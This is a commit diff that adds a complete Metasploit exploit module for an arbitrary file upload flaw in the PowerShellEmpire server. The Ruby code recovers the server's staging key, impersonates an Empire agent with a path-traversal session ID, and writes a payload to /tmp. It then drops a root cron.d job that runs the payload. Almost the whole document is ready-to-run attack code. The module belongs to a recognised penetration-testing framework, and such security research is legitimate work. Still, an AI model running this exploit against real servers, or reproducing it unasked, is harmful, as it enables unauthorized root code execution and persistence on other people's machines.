Land rapid7#7450, PowerShellEmpire Arbitrary File Upload

Author: wchen-r7

modules/exploits/linux/http/empire_skywalker.rb

@@ -0,0 +1,246 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  TASK_DOWNLOAD = 41
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
+      'Description'     => %q{
+        A vulnerability existed in the PowerShellEmpire server prior to commit
+        f030cf62 which would allow an arbitrary file to be written to an
+        attacker controlled location with the permissions of the Empire server.
+
+        This exploit will write the payload to /tmp/ directory followed by a
+        cron.d file to execute the payload.
+      },
+      'Author'          =>
+        [
+          'Spencer McIntyre',   # Vulnerability discovery & Metasploit module
+          'Erik Daguerre'       # Metasploit module
+        ],
+      'License'         => MSF_LICENSE,
+      'References'      => [
+        ['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
+      ],
+      'Payload'         =>
+        {
+          'DisableNops' => true,
+        },
+      'Platform'        => %w{ linux python },
+      'Targets'         =>
+        [
+          [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
+          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
+          [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
+        ],
+      'DefaultOptions'  => { 'WfsDelay' => 75 },
+      'DefaultTarget'   => 0,
+      'DisclosureDate'  => 'Oct 15 2016'))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
+        OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
+        OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
+        OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
+      ], self.class)
+  end
+
+  def check
+    return Exploit::CheckCode::Safe if get_staging_key.nil?
+
+    Exploit::CheckCode::Appears
+  end
+
+  def aes_encrypt(key, data, include_mac=false)
+    cipher = OpenSSL::Cipher::AES256.new(:CBC)
+    cipher.encrypt
+    iv = cipher.random_iv
+    cipher.key = key
+    cipher.iv = iv
+    data = iv + cipher.update(data) + cipher.final
+
+    digest = OpenSSL::Digest.new('sha1')
+    data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
+
+    data
+  end
+
+  def create_packet(res_id, data, counter=nil)
+    data = Rex::Text::encode_base64(data)
+    counter = Time.new.to_i if counter.nil?
+
+    [ res_id, counter, data.length ].pack('VVV') + data
+  end
+
+  def reversal_key
+    # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
+    [
+      [ 160, 0x3d], [  33, 0x2c], [  34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [  37, 0x2c], [  38, 0x24], [ 199, 0x2d],
+      [   8, 0x20], [  41, 0x3d], [  42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [  14, 0x2d], [  47, 0x29],
+      [ 272, 0x5d], [ 113, 0x3b], [  82, 0x3b], [  51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [  86, 0x2d], [ 183, 0x3a],
+      [  24, 0x7b], [  57, 0x2d], [ 282, 0x20], [  91, 0x20], [  92, 0x2d], [ 157, 0x3b], [  30, 0x28], [  31, 0x24]
+    ]
+  end
+
+  def rsa_encode_int(value)
+    encoded = []
+    while value > 0 do
+      encoded << (value & 0xff)
+      value >>= 8
+    end
+
+    Rex::Text::encode_base64(encoded.reverse.pack('C*'))
+  end
+
+  def rsa_key_to_xml(rsa_key)
+    rsa_key_xml  = "<RSAKeyValue>\n"
+    rsa_key_xml << "  <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
+    rsa_key_xml << "  <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
+    rsa_key_xml << "</RSAKeyValue>"
+
+    rsa_key_xml
+  end
+
+  def get_staging_key
+    # STAGE0_URI resource requested by the initial launcher
+    # The default STAGE0_URI resource is index.asp
+    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
+    res = send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
+    })
+    return unless res and res.code == 200
+
+    staging_key = Array.new(32, nil)
+    staging_data = res.body.bytes
+
+    reversal_key.each_with_index do |(pos, char_code), key_pos|
+      staging_key[key_pos] = staging_data[pos] ^ char_code
+    end
+
+    return if staging_key.include? nil
+
+    # at this point the staging key should have been fully recovered but
+    # we'll verify it by attempting to decrypt the header of the stage
+    decrypted = []
+    staging_data[0..23].each_with_index do |byte, pos|
+      decrypted << (byte ^ staging_key[pos])
+    end
+    return unless decrypted.pack('C*').downcase == 'function start-negotiate'
+
+    staging_key
+  end
+
+  def write_file(path, data, session_id, session_key, server_epoch)
+    # target_url.path default traffic profile for empire agent communication
+    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
+    data = create_packet(
+      TASK_DOWNLOAD,
+      [
+        '0',
+        session_id + path,
+        Rex::Text::encode_base64(data)
+      ].join('|'),
+      server_epoch
+    )
+
+    if datastore['PROFILE'].blank?
+      profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
+    else
+      profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
+    end
+
+    res = send_request_cgi({
+      'cookie'    => "SESSIONID=#{session_id}",
+      'data'      => aes_encrypt(session_key, data, include_mac=true),
+      'method'    => 'POST',
+      'uri'       => normalize_uri(profile_uri)
+    })
+    fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
+
+    res
+  end
+
+  def cron_file(command)
+    cron_file = 'SHELL=/bin/sh'
+    cron_file << "\n"
+    cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
+    cron_file << "\n"
+    cron_file << "* * * * * root #{command}"
+    cron_file << "\n"
+
+    cron_file
+  end
+
+  def exploit
+    vprint_status('Recovering the staging key...')
+    staging_key = get_staging_key
+    if staging_key.nil?
+      fail_with(Failure::Unknown, 'Failed to recover the staging key')
+    end
+    vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
+    staging_key = staging_key.pack('C*')
+
+    rsa_key = OpenSSL::PKey::RSA.new(2048)
+    session_id = Array.new(50, '..').join('/')
+    # STAGE1_URI, The resource used by the RSA key post
+    # The default STAGE1_URI resource is index.jsp
+    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
+    res = send_request_cgi({
+      'cookie'    => "SESSIONID=#{session_id}",
+      'data'      => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
+      'method'    => 'POST',
+      'uri'       => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
+    })
+    fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
+    vprint_status("Successfully sent the RSA key")
+
+    # decrypt the response and pull out the epoch and session_key
+    body = rsa_key.private_decrypt(res.body)
+    server_epoch = body[0..9].to_i
+    session_key = body[10..-1]
+    print_status('Successfully negotiated an artificial Empire agent')
+
+    payload_data = nil
+    payload_path = '/tmp/' + rand_text_alpha(8)
+
+    case target['Arch']
+    when ARCH_PYTHON
+      cron_command = "python #{payload_path}"
+      payload_data = payload.raw
+
+    when ARCH_X86, ARCH_X86_64
+      cron_command = "chmod +x #{payload_path} && #{payload_path}"
+      payload_data = payload.encoded_exe
+
+    end
+
+    print_status("Writing payload to #{payload_path}")
+    write_file(payload_path, payload_data, session_id, session_key, server_epoch)
+
+    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
+    print_status("Writing cron job to #{cron_path}")
+
+    write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
+    print_status("Waiting for cron job to run, can take up to 60 seconds")
+
+    register_files_for_cleanup(cron_path)
+    register_files_for_cleanup(payload_path)
+    # Empire writes to a log file location based on the Session ID, so when
+    # exploiting this vulnerability that file ends up in the root directory.
+    register_files_for_cleanup('/agent.log')
+  end
+end